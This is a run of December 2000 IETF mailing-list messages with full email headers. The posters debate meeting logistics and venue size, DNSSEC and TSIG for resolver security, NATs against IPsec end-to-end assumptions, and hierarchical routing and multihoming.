mwcondry@FMSMSX63.fm.intel.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Mon, 18 Dec 2000 11:32:06 -0800 To: Andrew Rutherford , John C Klensin From: "Michael W. Condry" Subject: Re: What is the IETF? -- A note of caution Cc: ietf@ietf.org In-Reply-To: References: <1916212408.976873788@localhost> <1916212408.976873788@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org The point of individuality is a good one. But this should be the choice of the person. They can write whatever they choose for the company. For many of us it is informative. At 02:02 PM 12/18/2000 +1030, Andrew Rutherford wrote: >At 09:49 -0500 15/12/00, John C Klensin wrote: > >>I don't think company names on badges are harmful, and they do >>help us identify each other (otherwise, we could carry the >>principle to the limits and leave the names off too, replacing >>them with randomly-assigned numbers). > >So what about replacing company names on badges with email addresses? > >That might allow one to infer company affiliation if the wearer lists an >address with a company component. Given most of us know each other via >email address, and may wish to follow up a "hallway conversation" with >email, it's possibly more functional. Michael W. Condry Director, Internet Strategy 2111 N.E. 25th Ave. JF3-206 Hillsboro, OR 97124-5961 Phone: (503) 264-9019 FAX: (503) 264-3483 Email: condry@intel.com From owner-ietf-outbound Mon Dec 18 23:10:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id XAA23151 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 23:10:02 -0500 (EST) Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA22950 for ; Mon, 18 Dec 2000 22:58:09 -0500 (EST) From: Valdis.Kletnieks@vt.edu Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1]) by black-ice.cc.vt.edu (8.12.0.Alpha1/8.12.0.Alpha1) with ESMTP id eBJ3w6CW226720; Mon, 18 Dec 2000 22:58:06 -0500 Message-Id: <200012190358.eBJ3w6CW226720@black-ice.cc.vt.edu> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4+dev To: "Donald E. Eastlake 3rd" Cc: ietf@ietf.org Subject: Re: NATs *ARE* evil! In-Reply-To: Your message of "Mon, 18 Dec 2000 22:54:47 EST." <200012190354.WAA27314@torque.pothole.com> X-Url: http://black-ice.cc.vt.edu/~valdis/ X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_1731154752P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Mon, 18 Dec 2000 22:58:06 -0500 X-Loop: ietf@ietf.org --==_Exmh_1731154752P Content-Type: text/plain; charset=us-ascii On Mon, 18 Dec 2000 22:54:47 EST, "Donald E. Eastlake 3rd" said: > If DNSSEC were deployed, I see no reason why SAs could not be > bound to domain names. I admit to not having read the DNSSEC RFCs. I however do hope that they are immune to the same sort of attacks against SSL and SSHv1 that are currently getting a lot of publicity. Anybody got a pointer to where in the RFC it discusses how the resolver on my workstation initially verifies that it's not being man-in-the-middle'ed from a spoof of our local nameserver? -- Valdis Kletnieks Operating Systems Analyst Virginia Tech --==_Exmh_1731154752P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 Comment: Exmh version 2.2 06/16/2000 iQA/AwUBOj7czXAt5Vm009ewEQKSXwCcCTtmwPdVjuUSXAIdhM65CnxdmkMAoPVD X9lUVr8dJmYJREEIMqzmcaE5 =vpGf -----END PGP SIGNATURE----- --==_Exmh_1731154752P-- From owner-ietf-outbound Mon Dec 18 23:30:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id XAA23402 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 23:30:03 -0500 (EST) Received: from mail.perspex.com ([12.5.16.108]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA23295 for ; Mon, 18 Dec 2000 23:20:29 -0500 (EST) Received: from localhost (tlilley@localhost) by mail.perspex.com (8.8.7/8.7.3) with SMTP id EAA17987; Tue, 19 Dec 2000 04:47:27 GMT Date: Tue, 19 Dec 2000 04:47:27 +0000 (/etc/localtime) From: Tripp Lilley To: Matthew Goldman cc: ietf@ietf.org Subject: RE: 49th-IETF conf room planning In-Reply-To: <32A27D619DB0154C963D55F14552019D16D627@windlord.worldwidepackets.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Mon, 18 Dec 2000, Matthew Goldman wrote: > I also disagree with you regarding hotel rates. Pre-negotiated block rates > for meetings are around the same price as we paid in San Diego for a similar > type of hotel (clearly, Vegas hotels are both much better than and much > worse than the Sheraton San Diego). The only time hotel rooms are extremely > high is for major expositions -- like Comdex, Consumer Electronics Show, etc > -- because those rooms are not booked as blocks. The hotels jack up the > prices for those weeks. I've been to Vegas on a non-convention week and got > a hotel room for $70/night vs. $180/night for the same room during Comdex. > It would be up to the IETF to negotiate for 2000-3000 rooms; that's a lot of > buying power. If they can't get reasonable rates, then we don't go there. Actually, geek conferences get the shaft in Vegas, because Vegas is wise to the fact that geeks, knowing the odds, are much less likely to gamble. That's why Comdex, Interop, and so forth, get such high hotel rates. Now, if we assured them that IETF stands for "International Eaters of Tasty Food", or similar, we might get a break... And we can point to the frequent mention of "many fine lunches and dinners" in _Exploring the Internet_ as substantiation. -- Joy-Loving * Tripp Lilley * http://stargate.eheart.sg505.net/~tlilley/ ------------------------------------------------------------------------------ From owner-ietf-outbound Mon Dec 18 23:40:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id XAA23936 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 23:40:03 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA23892 for ; Mon, 18 Dec 2000 23:37:18 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id XAA05813; Mon, 18 Dec 2000 23:36:53 -0500 (EST) Message-Id: <200012190436.XAA05813@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Matthew Goldman cc: "'Randall Gellens'" , Daniel Senie , Michael Richardson , ietf@ietf.org Subject: Re: 49th-IETF conf room planning In-reply-to: Your message of "Mon, 18 Dec 2000 16:01:21 PST." <32A27D619DB0154C963D55F14552019D16D627@windlord.worldwidepackets.com> Date: Mon, 18 Dec 2000 23:35:38 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > > I fervently hope not. Las Vegas is the tobacco smoking capital of > > the U.S. -- higher rates than anywhere else in the country, including > > areas where they grow the stuff. It is also very hard to find good > > quality food (but is awash in cheap buffets). > > Sorry, but I'd prefer Vegas vs. not being able to attend half of the > meetings I planned to in San Diego simply because there was not enough > space. I was very dishardened by this, and hope the meeting planners are > able to plan for 3000+ attendees for future meetings. for many people, having smoke anywhere near the meeting rooms is as much of a barrier to participation as having the meeting rooms full. I'd far rather we raise the bar for participants (i.e. only admit those who have done their homework) than make more room for non-participants. Keith From owner-ietf-outbound Mon Dec 18 23:50:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id XAA24193 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 23:50:03 -0500 (EST) Received: from windlord.worldwidepackets.com ([12.46.89.6]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA24139 for ; Mon, 18 Dec 2000 23:47:00 -0500 (EST) Received: by windlord.worldwidepackets.com with Internet Mail Service (5.5.2653.19) id ; Mon, 18 Dec 2000 20:46:32 -0800 Message-ID: <32A27D619DB0154C963D55F14552019D16D631@windlord.worldwidepackets.com> From: Matthew Goldman To: "'Keith Moore'" Cc: "'Randall Gellens'" , Daniel Senie , Michael Richardson , ietf@ietf.org Subject: RE: 49th-IETF conf room planning Date: Mon, 18 Dec 2000 20:46:31 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" X-Loop: ietf@ietf.org It makes absolutely no sense to have someone pre-pay a meeting fee, pay to travel to a location, attempt to attend a meeting, and be turned-away. In addition, turning away people who wish to attend seems counter to the IETF spirit. > -----Original Message----- > From: Keith Moore [mailto:moore@cs.utk.edu] > Sent: Monday, December 18, 2000 8:36 PM > To: Matthew Goldman > Cc: 'Randall Gellens'; Daniel Senie; Michael Richardson; ietf@ietf.org > Subject: Re: 49th-IETF conf room planning > > > > > I fervently hope not. Las Vegas is the tobacco smoking capital of > > > the U.S. -- higher rates than anywhere else in the > country, including > > > areas where they grow the stuff. It is also very hard to > find good > > > quality food (but is awash in cheap buffets). > > > > Sorry, but I'd prefer Vegas vs. not being able to attend half of the > > meetings I planned to in San Diego simply because there > was not enough > > space. I was very dishardened by this, and hope the meeting > planners are > > able to plan for 3000+ attendees for future meetings. > > for many people, having smoke anywhere near the meeting rooms > is as much of a barrier to participation as having the meeting > rooms full. > > I'd far rather we raise the bar for participants (i.e. only admit > those who have done their homework) than make more room for > non-participants. > > Keith > From owner-ietf-outbound Tue Dec 19 00:00:07 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA24347 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 00:00:04 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA24287 for ; Mon, 18 Dec 2000 23:56:24 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id XAA06207; Mon, 18 Dec 2000 23:56:19 -0500 (EST) Message-Id: <200012190456.XAA06207@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Matthew Goldman cc: "'Keith Moore'" , "'Randall Gellens'" , Daniel Senie , Michael Richardson , ietf@ietf.org Subject: Re: 49th-IETF conf room planning In-reply-to: Your message of "Mon, 18 Dec 2000 20:46:31 PST." <32A27D619DB0154C963D55F14552019D16D631@windlord.worldwidepackets.com> Date: Mon, 18 Dec 2000 23:55:04 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > It makes absolutely no sense to have someone pre-pay a meeting fee, pay to > travel to a location, attempt to attend a meeting, and be turned-away. I disagree in the strongest possible terms. it makes a great deal of sense if the purpose of the meeting is to get technical work done, rather than to spoonfeed people who can't be bothered to read the background material. and we're seeing entirely too much spoonfeeding in meetings these days - witness the tremendous amount of precious meeting time that is devoted to presentations of *material already explained in the relevant drafts*, rather than discussion. OTOH I happen to feel that it's quite useful if IETF folks who actively participate in some WGs, drop in on the meetings of other WGs. we need to encourage cross-pollenation between groups. but we don't need to encourage non-participants to attend IETF meetings. > In addition, turning away people who wish to attend seems counter to the > IETF spirit. the IETF spirit has always been to include anyone *who does his/her homework* Keith From owner-ietf-outbound Tue Dec 19 00:10:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA24502 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 00:10:04 -0500 (EST) Received: from torque.pothole.com ([38.138.52.132]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA24457 for ; Tue, 19 Dec 2000 00:05:22 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by torque.pothole.com (8.8.2/8.8.8) with SMTP id AAA27815 for ietf@ietf.org; Tue, 19 Dec 2000 00:10:15 -0500 (EST) Message-Id: <200012190510.AAA27815@torque.pothole.com> X-Authentication-Warning: torque.pothole.com: localhost [127.0.0.1] didn't use HELO protocol To: ietf@ietf.org Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Mon, 18 Dec 2000 22:58:06 EST." <200012190358.eBJ3w6CW226720@black-ice.cc.vt.edu> Date: Tue, 19 Dec 2000 00:10:15 -0500 From: "Donald E. Eastlake 3rd" X-Mts: smtp X-Loop: ietf@ietf.org DNSSEC is still evolving, it isn't deployed yet, and the right mailing lists to discuss it are the DNSEXT and DNSOP working groups. However, to give a really brief answer, if your local revolver is unwilling to do the full blown DNSSEC cryptography and just wants to trust that the local nameserver is doing it right (a reasonable scanario), it would likely secure its transactions with that namesever with TSIG [RFC 2845]. And one way in which TSIG keying material could be set up is TKEY [RFC 2940]. Donald From: Valdis.Kletnieks@vt.edu Message-Id: <200012190358.eBJ3w6CW226720@black-ice.cc.vt.edu> To: "Donald E. Eastlake 3rd" Cc: ietf@ietf.org In-Reply-To: Your message of "Mon, 18 Dec 2000 22:54:47 EST." <200012190354.WAA27314@torque.pothole.com> References: <200012190354.WAA27314@torque.pothole.com> >On Mon, 18 Dec 2000 22:54:47 EST, "Donald E. Eastlake 3rd" said: >> If DNSSEC were deployed, I see no reason why SAs could not be >> bound to domain names. > >I admit to not having read the DNSSEC RFCs. I however do hope that they >are immune to the same sort of attacks against SSL and SSHv1 that are currently >getting a lot of publicity. > >Anybody got a pointer to where in the RFC it discusses how the resolver on >my workstation initially verifies that it's not being man-in-the-middle'ed >from a spoof of our local nameserver? >-- > Valdis Kletnieks > Operating Systems Analyst > Virginia Tech From owner-ietf-outbound Tue Dec 19 00:20:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA24636 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 00:20:03 -0500 (EST) Received: from bailey.dscga.com (bailey.dscga.com [198.78.9.11]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA24476 for ; Tue, 19 Dec 2000 00:06:58 -0500 (EST) Received: (from michael@localhost) by bailey.dscga.com (8.9.1/) id XAA22278; Mon, 18 Dec 2000 23:56:48 -0500 (EST) Date: Mon, 18 Dec 2000 23:56:48 -0500 From: Michael Mealling To: Keith Moore Cc: Matthew Goldman , "'Randall Gellens'" , Daniel Senie , Michael Richardson , ietf@ietf.org Subject: Re: 49th-IETF conf room planning Message-ID: <20001218235648.N18503@bailey.dscga.com> Reply-To: michaelm@netsol.com References: <32A27D619DB0154C963D55F14552019D16D627@windlord.worldwidepackets.com> <200012190436.XAA05813@astro.cs.utk.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/1.1.2i In-Reply-To: <200012190436.XAA05813@astro.cs.utk.edu>; from moore@cs.utk.edu on Mon, Dec 18, 2000 at 11:35:38PM -0500 X-Loop: ietf@ietf.org On Mon, Dec 18, 2000 at 11:35:38PM -0500, Keith Moore wrote: > > > I fervently hope not. Las Vegas is the tobacco smoking capital of > > > the U.S. -- higher rates than anywhere else in the country, including > > > areas where they grow the stuff. It is also very hard to find good > > > quality food (but is awash in cheap buffets). > > > > Sorry, but I'd prefer Vegas vs. not being able to attend half of the > > meetings I planned to in San Diego simply because there was not enough > > space. I was very dishardened by this, and hope the meeting planners are > > able to plan for 3000+ attendees for future meetings. > > for many people, having smoke anywhere near the meeting rooms > is as much of a barrier to participation as having the meeting > rooms full. I was out there this past summer at Caesers Palace for a Lunar Development Conference and the only place I found smoke was in the Casino itself. The conference rooms and actual hotel rooms were smoke free and very nice (and cheap). In the Caesars Palace Conference center the hallways were as large as the subdivided Grand Ballroom in San Diego. Caesars would barely even notice us.... > I'd far rather we raise the bar for participants (i.e. only admit > those who have done their homework) than make more room for > non-participants. This wouldn't have helped in the DOMREG/WHOIS BOF. I did an informal survey and everyone in my part of the doorway was someone who should have been there and who had read the documents. Maybe the solution isn't Vegas but instead focusing on conference centers in the city in question instead of strictly hotel only facilities. -MM -- -------------------------------------------------------------------------------- Michael Mealling | Vote Libertarian! | www.rwhois.net/michael Sr. Research Engineer | www.ga.lp.org/gwinnett | ICQ#: 14198821 Network Solutions | www.lp.org | michaelm@netsol.com From owner-ietf-outbound Tue Dec 19 00:30:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA24821 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 00:30:04 -0500 (EST) Received: from bailey.dscga.com (bailey.dscga.com [198.78.9.11]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA24509 for ; Tue, 19 Dec 2000 00:10:20 -0500 (EST) Received: (from michael@localhost) by bailey.dscga.com (8.9.1/) id AAA22292; Tue, 19 Dec 2000 00:00:13 -0500 (EST) Date: Tue, 19 Dec 2000 00:00:13 -0500 From: Michael Mealling To: Matthew Goldman Cc: "'Keith Moore'" , "'Randall Gellens'" , Daniel Senie , Michael Richardson , ietf@ietf.org Subject: Re: 49th-IETF conf room planning Message-ID: <20001219000013.O18503@bailey.dscga.com> Reply-To: michaelm@netsol.com References: <32A27D619DB0154C963D55F14552019D16D631@windlord.worldwidepackets.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/1.1.2i In-Reply-To: <32A27D619DB0154C963D55F14552019D16D631@windlord.worldwidepackets.com>; from Matthew.Goldman@worldwidepackets.com on Mon, Dec 18, 2000 at 08:46:31PM -0800 X-Loop: ietf@ietf.org On Mon, Dec 18, 2000 at 08:46:31PM -0800, Matthew Goldman wrote: > It makes absolutely no sense to have someone pre-pay a meeting fee, pay to > travel to a location, attempt to attend a meeting, and be turned-away. > > In addition, turning away people who wish to attend seems counter to the > IETF spirit. I think the operative word here is 'attend'. Keith's point is that you don't 'attend' an IETF meeting, you participate in one. But we've beaten this horse into a fine pulp long before now so I'm not going to belabor the point.... -MM -- -------------------------------------------------------------------------------- Michael Mealling | Vote Libertarian! | www.rwhois.net/michael Sr. Research Engineer | www.ga.lp.org/gwinnett | ICQ#: 14198821 Network Solutions | www.lp.org | michaelm@netsol.com From owner-ietf-outbound Tue Dec 19 00:41:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA25008 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 00:40:02 -0500 (EST) Received: from watsun.cc.columbia.edu (IDENT:cu51491@watsun.cc.columbia.edu [128.59.39.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA24843 for ; Tue, 19 Dec 2000 00:30:29 -0500 (EST) Received: (from jaltman@localhost) by watsun.cc.columbia.edu (8.8.5/8.8.5) id AAA11783; Tue, 19 Dec 2000 00:30:12 -0500 (EST) Date: Tue, 19 Dec 2000 0:30:10 EST From: Jeffrey Altman Reply-To: jaltman@columbia.edu To: Keith Moore Cc: Matthew Goldman , "'Keith Moore'" , "'Randall Gellens'" , Daniel Senie , Michael Richardson , ietf@ietf.org Subject: Re: 49th-IETF conf room planning In-Reply-To: Your message of Mon, 18 Dec 2000 23:55:04 -0500 Message-ID: X-Loop: ietf@ietf.org This suggestion will I hope generate much heated discussion. We could always ask the working group chairs to identify the contributing members. Those who submit Internet-Drafts can also be added to the list. These members like the WG Chairs, ADs, ... can have stickers added to their badges. Those without badges can be asked to leave when space gets tight. > > It makes absolutely no sense to have someone pre-pay a meeting fee, pay to > > travel to a location, attempt to attend a meeting, and be turned-away. > > I disagree in the strongest possible terms. > > it makes a great deal of sense if the purpose of the meeting is to get > technical work done, rather than to spoonfeed people who can't be bothered > to read the background material. and we're seeing entirely too much > spoonfeeding in meetings these days - witness the tremendous amount of > precious meeting time that is devoted to presentations of *material > already explained in the relevant drafts*, rather than discussion. > > OTOH I happen to feel that it's quite useful if IETF folks who > actively participate in some WGs, drop in on the meetings of other > WGs. we need to encourage cross-pollenation between groups. > > but we don't need to encourage non-participants to attend IETF meetings. > > > In addition, turning away people who wish to attend seems counter to the > > IETF spirit. > > the IETF spirit has always been to include anyone *who does his/her homework* > > Keith > Jeffrey Altman * Sr.Software Designer C-Kermit 7.1 Alpha available The Kermit Project @ Columbia University includes Secure Telnet and FTP http://www.kermit-project.org/ using Kerberos, SRP, and kermit-support@kermit-project.org OpenSSL. SSH soon to follow. From owner-ietf-outbound Tue Dec 19 00:50:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA25186 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 00:50:03 -0500 (EST) Received: from ginger.lcs.mit.edu (ginger.lcs.mit.edu [18.26.0.82]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA25143 for ; Tue, 19 Dec 2000 00:48:50 -0500 (EST) Received: (from jnc@localhost) by ginger.lcs.mit.edu (8.9.1/8.9.1) id AAA25556; Tue, 19 Dec 2000 00:48:34 -0500 Date: Tue, 19 Dec 2000 00:48:34 -0500 From: "J. Noel Chiappa" Message-Id: <200012190548.AAA25556@ginger.lcs.mit.edu> To: ietf@ietf.org Subject: Re: NATs *ARE* evil! Cc: gih@telstra.net, iab@iab.org, jnc@ginger.lcs.mit.edu X-Loop: ietf@ietf.org > From: Geoff Huston > part of the characteristics of today's Internet is that its is > flattening out. The concept of hierarchical connectivity with > 'upstreams' and 'downstreams' ... as I understand the current > deployment plan there are TLAs and sub TLAs, and an apparent > hierarchical view of the world again. I'm not quite sure if this is what Ted was referring to - and we have indeed wandered a bit. Your point is an important one, though - but the answer takes us even further afield, into routing theory. (Briefly!) There is a great misconception, in the IETF as a whole, that hierarchical location-names mean that either i) topological connections have to be hierarchical, or ii) paths have to be hierarchical. Both suppositions are absolutely, completely, untrue. As to the first, if you will consult the classic paper on hierarchical routing: Leonard Kleinrock, Farouk Kamoun; "Hierarchical Routing for Large Networks: Performance Evaluation and Optimization"; Computer Networks 1 (1977); North-Holland Publishing Co.; pp. 155-174. you will see that their work utilizes a random graph (that's a technical definition, not a judgemental term :-), so that disposes of the first one. It does use strictly hierarchical routing (i.e. their abstraction naming boundaries are congruent with their abstraction action boundaries), but even so it's worth noting their conclusion: "As regards the network path length, we were able to place an upper bound on its increase due to the introduction of hierarchical routing ... in the limit of very large networks, enormous table [size] reductions may be achieved with essentially no increase in network path lengths" Use of non-hierarchical routing with hierarchical location-names is a complex topic, one I can't explore here because it's tied in with all sorts of hairy conflicting optimization (overhead, path length, etc) questions. However, it is easy to provide non-hierarchical routing, even when the naming system you are using is hierarchical. > part of the issue we face now is the semantics of the address ... Is an > address an identification of identity? A key to absolute location? A > key to relative location? An encoding of the local topology? There are interesting questions, and ones that unfortunately have not been previously settled in a consistent way across the community. (I would say more about the fundamental technical issues, in particular what technical tasks we ought to be using "place-names" for, but this probably isn't the right time/place.) > in looking at the structure of V6 addresses ... we appear to have > adopted an approach which is not far removed from the provider address > hierarchy structure of V4 today. From my point of view, the problem is not with the hierarchical nature of the IPv6 address (since something like a hierarchy exists in every large-scale routing system I've ever seen), but rather with the point you just raised - just what it is that those things name, and how they name them. > My lurking concern is that it is not working in the V4 routing system > given the large percentage of table entries which are more specific > advertisements of aggregate announcments (approx 40%) and it won't work > for V6 either The problem you're touching on, of multi-homing, is basically not a problem with the addressing. It is a problem of i) the overall system architecture, and ii) the architecture of the routing system. It's a problem with the overall system architecture because providing the benefits of multi-homing by imposing the cost of supporting it *entirely* on the routing system - which is the way we are supporting multi-homing now - may not be the way to go. Multi-homing is a complex topic, but I do think there are other mechanisms which might be more cost-effective *in some circumstances* than shoving the whole job off on the routing (e.g. use of multiple addresses - but note that these addresses are still hierarchical). (And may I take a moment to point out that if we were charging for routes, the costs of having the routing "do it all" would be more apparent, and there would be more incentive to explore other mechanisms.) It's a problem with the routing architecture because in many cases, one needn't expand to a global scope for the advertisement of a multi-homed site, but the routing system as currently architected has no tools to help us with either i) determing, or ii) setting scopes. All we have is either i) purely local, or ii) global. > It appears that the intended address structure and deployment structure > appear to be at variance, and when that happens the temptation to alter > the address in flight to suit each local region's environment may well > be overwhelming. I can't conceive of any reason that the path selection would want to change an address (at least, in the sense of "location-name") in flight. That doesn't mean there aren't lots of other things that would. NAT is one, but for anything (e.g. traffic aggregate based forwarding) that needs "bits in the header" that aren't there now, mutating the address is an obvious kludge. Noel From owner-ietf-outbound Tue Dec 19 01:00:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id BAA25383 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 01:00:02 -0500 (EST) Received: from tsx-prime.MIT.EDU (TSX-PRIME.MIT.EDU [18.86.0.76]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA25270 for ; Tue, 19 Dec 2000 00:52:43 -0500 (EST) Received: by tsx-prime.MIT.EDU with sendmail-SMI-8.6/1.2, id AAA02163; Tue, 19 Dec 2000 00:52:35 -0500 Date: Tue, 19 Dec 2000 00:52:35 -0500 Message-Id: <200012190552.AAA02163@tsx-prime.MIT.EDU> From: "Theodore Y. Ts'o" To: "Donald E. Eastlake 3rd" CC: ietf@ietf.org In-reply-to: Donald E. Eastlake 3rd's message of Mon, 18 Dec 2000 22:54:47 -0500, <200012190354.WAA27314@torque.pothole.com> Subject: Re: NATs *ARE* evil! Phone: (781) 391-3464 X-Loop: ietf@ietf.org Date: Mon, 18 Dec 2000 22:54:47 -0500 From: "Donald E. Eastlake 3rd" If DNSSEC were deployed, I see no reason why SAs could not be bound to domain names. I disagree. IPSEC is about Security at the IP layer, and that means we need a security association which is tied to an object which is addressable at the IP layer --- an IP address. A DNS name doesn't qualify; a single DNS name can resolve to many different IP addresses, potentially representing multiple different hosts. Some people do this for load-balancing purposes (to Randy Bushes infinite digust, but this is the reality). Also, riddle me this: What host is addressed by the DNS name a456.g.akamai.net? For me at home, it happens to be 207.87.18.169. Except when I'm logged into MIT, when it's *either* 18.7.0.12 *or* 18.7.0.10. Betcha it's different for you. :-) When you add to this the problem that forwards and reverse name resolution are not always the same, and that sometimes the in-addr names don't even exist (for example, at the IETF terminal room in San Diego initially), I believe that trying to use DNS names for SA binding just isn't going to work in real life. Kerberos tried to deal with this problem by talking about "canonical domain name", which it tried to define as being the name that you got when you took a DNS name, forward resolved it to get an A address, and then reverse-resolved it to get a DNS name. But this didn't work in many cases, sometimes we got back an unqualified name, and in many cases this scheme totally failed due to load balancing DNS servers, etc. I suspect the reason is that as our domain name friends would tell us, there is no such thing as a "canonical domain name" for a host. Kerberos tried to invent such a concept, but it didn't work all that well. I would much rather have some real IP-level endpoint identifier. If that's what we're securing, that's what we should be using. - Ted From owner-ietf-outbound Tue Dec 19 01:10:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id BAA26131 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 01:10:02 -0500 (EST) Received: from tsx-prime.MIT.EDU (TSX-PRIME.MIT.EDU [18.86.0.76]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA25976 for ; Tue, 19 Dec 2000 01:08:59 -0500 (EST) Received: by tsx-prime.MIT.EDU with sendmail-SMI-8.6/1.2, id BAA02165; Tue, 19 Dec 2000 01:08:40 -0500 Date: Tue, 19 Dec 2000 01:08:40 -0500 Message-Id: <200012190608.BAA02165@tsx-prime.MIT.EDU> From: "Theodore Y. Ts'o" To: Mike Fisk CC: "Theodore Y. Ts'o" , "Perry E. Metzger" , Keith Moore , Jon Crowcroft , smd@EBONE.NET, iab@iab.org, ietf@ietf.org In-reply-to: Mike Fisk's message of Mon, 18 Dec 2000 14:45:08 -0800 (PST), Subject: Re: NATs *ARE* evil! Phone: (781) 391-3464 X-Loop: ietf@ietf.org Date: Mon, 18 Dec 2000 14:45:08 -0800 (PST) From: Mike Fisk Gateways that surreptitiously modify packets can break ANY end-to-end protocol no matter what layer it's at. Assume that we sacrifice IP addresses as not necessarily end-to-end. Fine, there are gateways that need to modify your TCP ports too. Okay, sacrifice make it so ports aren't covered by e2e assumptions like IPsec. Fine, there are gateways that do ACK spoofing. Okay, sacrifice all header data and assume that only payload is e2e. Whoops, even the payload has to be modified by some gateways. The hypothesis that you can have these gateways and have any part of the packet be guaranteed to be e2e is false. Given our inability to rule out the need for gateways that change IP addresses (or other routing headers), this leads to the conclusion that applications shouldn't use any header field (IP address, port, etc.) for authentication. OK, in that case, we've completely thrown out the end-to-end principle, and completely wiped out any possibility of IPSEC. If that's the world we live in, where any part of the IP header can be subject to attack by an intermediate attacker.... err, "service provider", then you shouldn't be using IPSEC. You should be using TLS instead. It of course also means that no part of the IP header can be authenticated in anyway, since it's of course all subject to change by such gateways. Is that really the architecture that we should be building in the Internet. I know some extremists would say yes, absolutely, and others would be say that this would be a horror. The problem though is that we're designing that assume (and depend upon) both architectural philosophies. Is it any wonder that we're having disconnects? - Ted From owner-ietf-outbound Tue Dec 19 04:10:31 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA09746 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 04:10:02 -0500 (EST) Received: from ws130.nomadiclab.com (ws130.nomadiclab.com [195.165.196.130]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA09704 for ; Tue, 19 Dec 2000 04:04:50 -0500 (EST) Received: from ws142.nomadiclab.com (ws142.nomadiclab.com [195.165.196.142]) by ws130.nomadiclab.com (Postfix) with ESMTP id 230E472502; Tue, 19 Dec 2000 11:04:21 +0200 (EET) Date: Tue, 19 Dec 2000 11:03:51 +0200 (EET) From: Teemu Rinta-aho To: Harald Koch Cc: ietf@ietf.org Subject: Re: WLAN In-Reply-To: <200012181958.OAA29700@ve3tla.ampr.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Mon, 18 Dec 2000, Harald Koch wrote: > There was an access point in the Embassy Suites Hotel. It was not > connected to the rest of the IETF LAN. It was instead connected to the > Internet via a Qualcomm HDR, a high-speed cellular data connection being > tested by Qualcomm. > > An enterprising engineer installed an 802.11 access point and an HDR > modem, and connected the two via an ethernet cable. Voila, instant > internet. Thank you. That was nice service from Qualcomm, just too bad there was no information of the wireless coverage on the meeting web pages. ----------------------------------------------------------- Teemu Rinta-aho teemu@nomadiclab.com 